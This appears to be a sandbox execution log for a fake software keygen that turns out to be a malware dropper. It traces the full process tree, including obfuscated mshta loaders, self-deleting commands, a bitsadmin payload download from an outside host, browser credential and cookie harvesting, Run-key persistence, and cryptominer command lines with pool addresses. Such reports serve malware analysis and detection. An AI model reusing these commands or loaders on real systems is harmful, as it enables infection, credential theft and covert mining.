PID 856 wrote to memory of 3236	856	iexplore.exe	IEXPLORE.EXE
PID 856 wrote to memory of 3236	856	iexplore.exe	IEXPLORE.EXE
PID 856 wrote to memory of 3236	856	iexplore.exe	IEXPLORE.EXE
PID 3584 wrote to memory of 3116	3584	Turbo.C.4.0.Windows.7.Window.serial.number.maker.by.Lz0.exe	cmd.exe
PID 3584 wrote to memory of 3116	3584	Turbo.C.4.0.Windows.7.Window.serial.number.maker.by.Lz0.exe	cmd.exe
PID 3584 wrote to memory of 3116	3584	Turbo.C.4.0.Windows.7.Window.serial.number.maker.by.Lz0.exe	cmd.exe
PID 3116 wrote to memory of 2432	3116	cmd.exe	keygen-pr.exe
PID 3116 wrote to memory of 2432	3116	cmd.exe	keygen-pr.exe
PID 3116 wrote to memory of 2432	3116	cmd.exe	keygen-pr.exe
PID 3116 wrote to memory of 4080	3116	cmd.exe	keygen-step-1.exe
PID 3116 wrote to memory of 4080	3116	cmd.exe	keygen-step-1.exe
PID 3116 wrote to memory of 4080	3116	cmd.exe	keygen-step-1.exe
PID 3116 wrote to memory of 1896	3116	cmd.exe	keygen-step-5.exe
PID 3116 wrote to memory of 1896	3116	cmd.exe	keygen-step-5.exe
PID 3116 wrote to memory of 1896	3116	cmd.exe	keygen-step-5.exe
PID 3116 wrote to memory of 3272	3116	cmd.exe	keygen-step-2.exe
PID 3116 wrote to memory of 3272	3116	cmd.exe	keygen-step-2.exe
PID 3116 wrote to memory of 3272	3116	cmd.exe	keygen-step-2.exe
PID 1896 wrote to memory of 4088	1896	keygen-step-5.exe	PING.EXE
PID 1896 wrote to memory of 4088	1896	keygen-step-5.exe	PING.EXE
PID 1896 wrote to memory of 4088	1896	keygen-step-5.exe	PING.EXE
PID 3116 wrote to memory of 3848	3116	cmd.exe	keygen-step-3.exe
PID 3116 wrote to memory of 3848	3116	cmd.exe	keygen-step-3.exe
PID 3116 wrote to memory of 3848	3116	cmd.exe	keygen-step-3.exe
PID 2432 wrote to memory of 508	2432	keygen-pr.exe	key.exe
PID 2432 wrote to memory of 508	2432	keygen-pr.exe	key.exe
PID 2432 wrote to memory of 508	2432	keygen-pr.exe	key.exe
PID 3116 wrote to memory of 3140	3116	cmd.exe	keygen-step-4.exe
PID 3116 wrote to memory of 3140	3116	cmd.exe	keygen-step-4.exe
PID 3116 wrote to memory of 3140	3116	cmd.exe	keygen-step-4.exe
PID 4088 wrote to memory of 756	4088	PING.EXE	cmd.exe
PID 4088 wrote to memory of 756	4088	PING.EXE	cmd.exe
PID 4088 wrote to memory of 756	4088	PING.EXE	cmd.exe
PID 508 wrote to memory of 1616	508	key.exe	key.exe
PID 508 wrote to memory of 1616	508	key.exe	key.exe
PID 508 wrote to memory of 1616	508	key.exe	key.exe
PID 3140 wrote to memory of 1972	3140	keygen-step-4.exe	xiuhuali.exe
PID 3140 wrote to memory of 1972	3140	keygen-step-4.exe	xiuhuali.exe
PID 3140 wrote to memory of 1972	3140	keygen-step-4.exe	xiuhuali.exe
PID 756 wrote to memory of 2288	756	cmd.exe	RWD_.exe
PID 756 wrote to memory of 2288	756	cmd.exe	RWD_.exe
PID 756 wrote to memory of 2288	756	cmd.exe	RWD_.exe
PID 3848 wrote to memory of 3380	3848	keygen-step-3.exe	cmd.exe
PID 3848 wrote to memory of 3380	3848	keygen-step-3.exe	cmd.exe
PID 3848 wrote to memory of 3380	3848	keygen-step-3.exe	cmd.exe
PID 1972 wrote to memory of 3736	1972	xiuhuali.exe	rundll32.exe
PID 1972 wrote to memory of 3736	1972	xiuhuali.exe	rundll32.exe
PID 1972 wrote to memory of 3736	1972	xiuhuali.exe	rundll32.exe
PID 2288 wrote to memory of 2036	2288	RWD_.exe	mshta.exe
PID 2288 wrote to memory of 2036	2288	RWD_.exe	mshta.exe
PID 2288 wrote to memory of 2036	2288	RWD_.exe	mshta.exe
PID 756 wrote to memory of 3956	756	cmd.exe	taskkill.exe
PID 756 wrote to memory of 3956	756	cmd.exe	taskkill.exe
PID 756 wrote to memory of 3956	756	cmd.exe	taskkill.exe
PID 3140 wrote to memory of 808	3140	keygen-step-4.exe	JoSetp.exe
PID 3140 wrote to memory of 808	3140	keygen-step-4.exe	JoSetp.exe
PID 3380 wrote to memory of 4088	3380	cmd.exe	PING.EXE
PID 3380 wrote to memory of 4088	3380	cmd.exe	PING.EXE
PID 3380 wrote to memory of 4088	3380	cmd.exe	PING.EXE
PID 2036 wrote to memory of 4108	2036	mshta.exe	cmd.exe
PID 2036 wrote to memory of 4108	2036	mshta.exe	cmd.exe
PID 2036 wrote to memory of 4108	2036	mshta.exe	cmd.exe
PID 3272 wrote to memory of 4120	3272	keygen-step-2.exe	8171.tmp.exe
PID 3272 wrote to memory of 4120	3272	keygen-step-2.exe	8171.tmp.exe

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:340

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1936

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
- Modifies registry class
PID:2416

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1408

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1396

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2448

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2580

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2696

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2708

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1144

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1092

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
PID:1036

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" https://keygenit.com/d/0f26cf244e1108834498.html
1⤵
- Modifies Internet Explorer Phishing Filter
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:856

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:856 CREDAT:82945 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:3236

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
PID:4248

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2280

C:\Users\Admin\AppData\Local\Temp\Temp2_Turbo.C.4.0.Windows.7.Window.serial.number.maker.by.Lz0.zip\Turbo.C.4.0.Windows.7.Window.serial.number.maker.by.Lz0.exe
"C:\Users\Admin\AppData\Local\Temp\Temp2_Turbo.C.4.0.Windows.7.Window.serial.number.maker.by.Lz0.zip\Turbo.C.4.0.Windows.7.Window.serial.number.maker.by.Lz0.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3584

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:3116

C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
keygen-pr.exe -p83fsase3Ge
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2432

C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:508

C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
5⤵
PID:1616

C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
keygen-step-1.exe
3⤵
- Executes dropped EXE
PID:4080

C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe
keygen-step-5.exe
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1896

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbscriPt: ClOse ( CReatEobjecT ( "WScriPt.sHeLl").RUn ( "CmD.ExE /c copY /y ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe"" RWD_.exe > NUL && starT RWD_.exe -PQtL97YU9CePvSHWa~W4YULQmeii & iF """" == """" for %m In ( ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe"" ) do taskkill /f /IM ""%~nxm"" > nuL ", 0 ))
4⤵
PID:4088

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copY /y "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe" RWD_.exe > NUL && starT RWD_.exe -PQtL97YU9CePvSHWa~W4YULQmeii & iF "" =="" for %m In ( "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe") do taskkill /f /IM "%~nxm" > nuL
5⤵
- Suspicious use of WriteProcessMemory
PID:756

C:\Users\Admin\AppData\Local\Temp\RWD_.exe
RWD_.exe -PQtL97YU9CePvSHWa~W4YULQmeii
6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2288

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbscriPt: ClOse ( CReatEobjecT ( "WScriPt.sHeLl").RUn ( "CmD.ExE /c copY /y ""C:\Users\Admin\AppData\Local\Temp\RWD_.exe"" RWD_.exe > NUL && starT RWD_.exe -PQtL97YU9CePvSHWa~W4YULQmeii & iF ""-PQtL97YU9CePvSHWa~W4YULQmeii "" == """" for %m In ( ""C:\Users\Admin\AppData\Local\Temp\RWD_.exe"" ) do taskkill /f /IM ""%~nxm"" > nuL ", 0 ))
7⤵
- Suspicious use of WriteProcessMemory
PID:2036

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copY /y "C:\Users\Admin\AppData\Local\Temp\RWD_.exe" RWD_.exe > NUL && starT RWD_.exe -PQtL97YU9CePvSHWa~W4YULQmeii & iF "-PQtL97YU9CePvSHWa~W4YULQmeii " =="" for %m In ( "C:\Users\Admin\AppData\Local\Temp\RWD_.exe") do taskkill /f /IM "%~nxm" > nuL
8⤵
PID:4108

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\System32\regsvr32.exe" .\WiUZzK.CI -s
7⤵
- Loads dropped DLL
- Suspicious use of NtCreateThreadExHideFromDebugger
PID:4404

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /IM "keygen-step-5.exe"
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3956

C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe
keygen-step-2.exe
3⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:3272

C:\Users\Admin\AppData\Roaming\8171.tmp.exe
"C:\Users\Admin\AppData\Roaming\8171.tmp.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4120

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\8171.tmp.exe"
5⤵
PID:5640

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
6⤵
- Delays execution with timeout.exe
PID:5484

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe" >> NUL
4⤵
PID:4468

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1
5⤵
- Runs ping.exe
PID:4888

C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
keygen-step-3.exe
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3848

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
4⤵
- Suspicious use of WriteProcessMemory
PID:3380

C:\Windows\SysWOW64\PING.EXE
ping 1.1.1.1 -n 1 -w 3000
5⤵
- Runs ping.exe
- Suspicious use of WriteProcessMemory
PID:4088

C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
keygen-step-4.exe
3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3140

C:\Users\Admin\AppData\Local\Temp\RarSFX2\xiuhuali.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\xiuhuali.exe"
4⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1972

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
5⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3736

C:\Users\Admin\AppData\Local\Temp\RarSFX2\JoSetp.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\JoSetp.exe"
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:808

C:\ProgramData\2618420.exe
"C:\ProgramData\2618420.exe"
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5056

C:\ProgramData\6743415.exe
"C:\ProgramData\6743415.exe"
5⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5088

C:\ProgramData\Windows Host\Windows Host.exe
"C:\ProgramData\Windows Host\Windows Host.exe"
6⤵
- Executes dropped EXE
PID:4280

C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"
4⤵
- Executes dropped EXE
PID:4136

C:\Users\Admin\AppData\Local\Temp\is-LO0HI.tmp\Install.tmp
"C:\Users\Admin\AppData\Local\Temp\is-LO0HI.tmp\Install.tmp" /SL5="$203D2,235791,152064,C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3252

C:\Users\Admin\AppData\Local\Temp\is-L1TPH.tmp\Ultra.exe
"C:\Users\Admin\AppData\Local\Temp\is-L1TPH.tmp\Ultra.exe" /S /UID=burnerch1
6⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
PID:2184

C:\Program Files\Windows Sidebar\GLPBYGDIJI\ultramediaburner.exe
"C:\Program Files\Windows Sidebar\GLPBYGDIJI\ultramediaburner.exe" /VERYSILENT
7⤵
- Executes dropped EXE
PID:4232

C:\Users\Admin\AppData\Local\Temp\is-PO5LE.tmp\ultramediaburner.tmp
"C:\Users\Admin\AppData\Local\Temp\is-PO5LE.tmp\ultramediaburner.tmp" /SL5="$40242,281924,62464,C:\Program Files\Windows Sidebar\GLPBYGDIJI\ultramediaburner.exe" /VERYSILENT
8⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:3956

C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
9⤵
- Executes dropped EXE
PID:4912

C:\Users\Admin\AppData\Local\Temp\c8-60265-3a1-b5ba0-27cd6a50e047f\Myfoxebushae.exe
"C:\Users\Admin\AppData\Local\Temp\c8-60265-3a1-b5ba0-27cd6a50e047f\Myfoxebushae.exe"
7⤵
- Executes dropped EXE
- Checks computer location settings
PID:3052

C:\Users\Admin\AppData\Local\Temp\e1-5ae23-c0b-03ab6-90f8a7bf21d60\Seqaejazhaety.exe
"C:\Users\Admin\AppData\Local\Temp\e1-5ae23-c0b-03ab6-90f8a7bf21d60\Seqaejazhaety.exe"
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5036

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\p0vuhwds.uo5\instEU.exe & exit
8⤵
PID:5480

C:\Users\Admin\AppData\Local\Temp\p0vuhwds.uo5\instEU.exe
C:\Users\Admin\AppData\Local\Temp\p0vuhwds.uo5\instEU.exe
9⤵
- Executes dropped EXE
PID:5820

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hihzcdo2.fx3\gpooe.exe & exit
8⤵
PID:5672

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\02xwcqma.0yx\google-game.exe & exit
8⤵
PID:4632

C:\Users\Admin\AppData\Local\Temp\02xwcqma.0yx\google-game.exe
C:\Users\Admin\AppData\Local\Temp\02xwcqma.0yx\google-game.exe
9⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:4192

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
10⤵
- Loads dropped DLL
PID:5260

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bfugmi1i.jnx\skipper.exe /s & exit
8⤵
PID:4424

C:\Users\Admin\AppData\Local\Temp\bfugmi1i.jnx\skipper.exe
C:\Users\Admin\AppData\Local\Temp\bfugmi1i.jnx\skipper.exe /s
9⤵
- Executes dropped EXE
PID:5196

C:\Users\Admin\AppData\Local\Temp\201401871.exe
C:\Users\Admin\AppData\Local\Temp\201401871.exe
10⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5960

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
11⤵
PID:4540

C:\Users\Admin\AppData\Local\Temp\1146703845.exe
C:\Users\Admin\AppData\Local\Temp\1146703845.exe
10⤵
- Executes dropped EXE
PID:5024

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /k ping 0 & del C:\Users\Admin\AppData\Local\Temp\bfugmi1i.jnx\skipper.exe & exit
10⤵
PID:4668

C:\Windows\SysWOW64\PING.EXE
ping 0
11⤵
- Runs ping.exe
PID:808

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vfctkczl.toy\md1_1eaf.exe & exit
8⤵
PID:5544

C:\Users\Admin\AppData\Local\Temp\vfctkczl.toy\md1_1eaf.exe
C:\Users\Admin\AppData\Local\Temp\vfctkczl.toy\md1_1eaf.exe
9⤵
- Executes dropped EXE
PID:5428

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ruebwlu5.hd4\askinstall36.exe & exit
8⤵
PID:5816

C:\Users\Admin\AppData\Local\Temp\ruebwlu5.hd4\askinstall36.exe
C:\Users\Admin\AppData\Local\Temp\ruebwlu5.hd4\askinstall36.exe
9⤵
- Executes dropped EXE
PID:4548

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
10⤵
PID:4432

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
11⤵
- Kills process with taskkill
PID:5660

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ce5xkjwu.qfa\PEJUVSDJPA.exe & exit
8⤵
PID:4256

C:\Users\Admin\AppData\Local\Temp\ce5xkjwu.qfa\PEJUVSDJPA.exe
C:\Users\Admin\AppData\Local\Temp\ce5xkjwu.qfa\PEJUVSDJPA.exe
9⤵
- Executes dropped EXE
PID:4288

C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"
10⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5676

C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exe
parse.exe -f json -b firefox
11⤵
- Executes dropped EXE
PID:996

C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exe
parse.exe -f json -b chrome
11⤵
PID:4132

C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exe
parse.exe -f json -b edge
11⤵
- Executes dropped EXE
PID:5576

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wp2ojlhx.3dn\y1.exe & exit
8⤵
PID:4264

C:\Users\Admin\AppData\Local\Temp\wp2ojlhx.3dn\y1.exe
C:\Users\Admin\AppData\Local\Temp\wp2ojlhx.3dn\y1.exe
9⤵
- Executes dropped EXE
PID:5668

C:\Users\Admin\AppData\Local\Temp\4nebmdmYll.exe
"C:\Users\Admin\AppData\Local\Temp\4nebmdmYll.exe"
10⤵
PID:4304

C:\Users\Admin\AppData\Roaming\1619118157663.exe
"C:\Users\Admin\AppData\Roaming\1619118157663.exe" /sjson "C:\Users\Admin\AppData\Roaming\1619118157663.txt"
11⤵
PID:4936

C:\Windows\SysWOW64\cmd.exe
cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\4nebmdmYll.exe"
11⤵
PID:4088

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 3
12⤵
- Runs ping.exe
PID:2036

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\z14fn0rz.puv\ABCbrowser.exe /VERYSILENT & exit
8⤵
PID:5824

C:\Users\Admin\AppData\Local\Temp\z14fn0rz.puv\ABCbrowser.exe
C:\Users\Admin\AppData\Local\Temp\z14fn0rz.puv\ABCbrowser.exe /VERYSILENT
9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5588

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
10⤵
PID:1000

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jwx1fsgx.myj\toolspab1.exe & exit
8⤵
PID:4664

C:\Users\Admin\AppData\Local\Temp\jwx1fsgx.myj\toolspab1.exe
C:\Users\Admin\AppData\Local\Temp\jwx1fsgx.myj\toolspab1.exe
9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5804

C:\Users\Admin\AppData\Local\Temp\jwx1fsgx.myj\toolspab1.exe
C:\Users\Admin\AppData\Local\Temp\jwx1fsgx.myj\toolspab1.exe
10⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:6048

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rbdmwmin.jsn\SunLabsPlayer.exe /S & exit
8⤵
PID:2052

C:\Users\Admin\AppData\Local\Temp\rbdmwmin.jsn\SunLabsPlayer.exe
C:\Users\Admin\AppData\Local\Temp\rbdmwmin.jsn\SunLabsPlayer.exe /S
9⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
PID:1152

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsl75D5.tmp\tempfile.ps1"
10⤵
- Executes dropped EXE
PID:4848

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsl75D5.tmp\tempfile.ps1"
10⤵
PID:4316

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsl75D5.tmp\tempfile.ps1"
10⤵
PID:3652

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsl75D5.tmp\tempfile.ps1"
10⤵
PID:5608

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsl75D5.tmp\tempfile.ps1"
10⤵
PID:4880

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsl75D5.tmp\tempfile.ps1"
10⤵
PID:5044

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsl75D5.tmp\tempfile.ps1"
10⤵
PID:5996

C:\Windows\SysWOW64\bitsadmin.exe
"bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z
10⤵
- Download via BitsAdmin
PID:5224

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\tbhpw1r5.m2b\GcleanerWW.exe /mixone & exit
8⤵
PID:5216

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\sj3eqoxx.saq\inst.exe & exit
8⤵
PID:3216

C:\Users\Admin\AppData\Local\Temp\sj3eqoxx.saq\inst.exe
C:\Users\Admin\AppData\Local\Temp\sj3eqoxx.saq\inst.exe
9⤵
PID:4848

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zadetsad.5cs\c7ae36fa.exe & exit
8⤵
PID:5636

C:\Users\Admin\AppData\Local\Temp\zadetsad.5cs\c7ae36fa.exe
C:\Users\Admin\AppData\Local\Temp\zadetsad.5cs\c7ae36fa.exe
9⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
PID:5536

C:\Users\Admin\AppData\Local\Temp\RarSFX2\filee.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\filee.exe"
4⤵
- Executes dropped EXE
PID:4204

C:\Users\Admin\AppData\Roaming\F9DD.tmp.exe
"C:\Users\Admin\AppData\Roaming\F9DD.tmp.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5660

C:\Users\Admin\AppData\Roaming\F9DD.tmp.exe
"C:\Users\Admin\AppData\Roaming\F9DD.tmp.exe"
6⤵
- Executes dropped EXE
- Checks processor information in registry
PID:2052

C:\Users\Admin\AppData\Roaming\FC6E.tmp.exe
"C:\Users\Admin\AppData\Roaming\FC6E.tmp.exe"
5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
PID:5896

C:\Windows\system32\msiexec.exe
-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w12231@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
6⤵
PID:4796

C:\Windows\system32\msiexec.exe
-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w28656 --cpu-max-threads-hint 50 -r 9999
6⤵
- Blocklisted process makes network request
PID:3848

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\filee.exe"
5⤵
PID:4684

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1
6⤵
- Runs ping.exe
PID:6096

C:\Users\Admin\AppData\Local\Temp\RarSFX2\jg6_6asg.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\jg6_6asg.exe"
4⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:5252

C:\Users\Admin\AppData\Local\Temp\RarSFX2\gaoou.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\gaoou.exe"
4⤵
PID:4160

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
5⤵
PID:6036

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
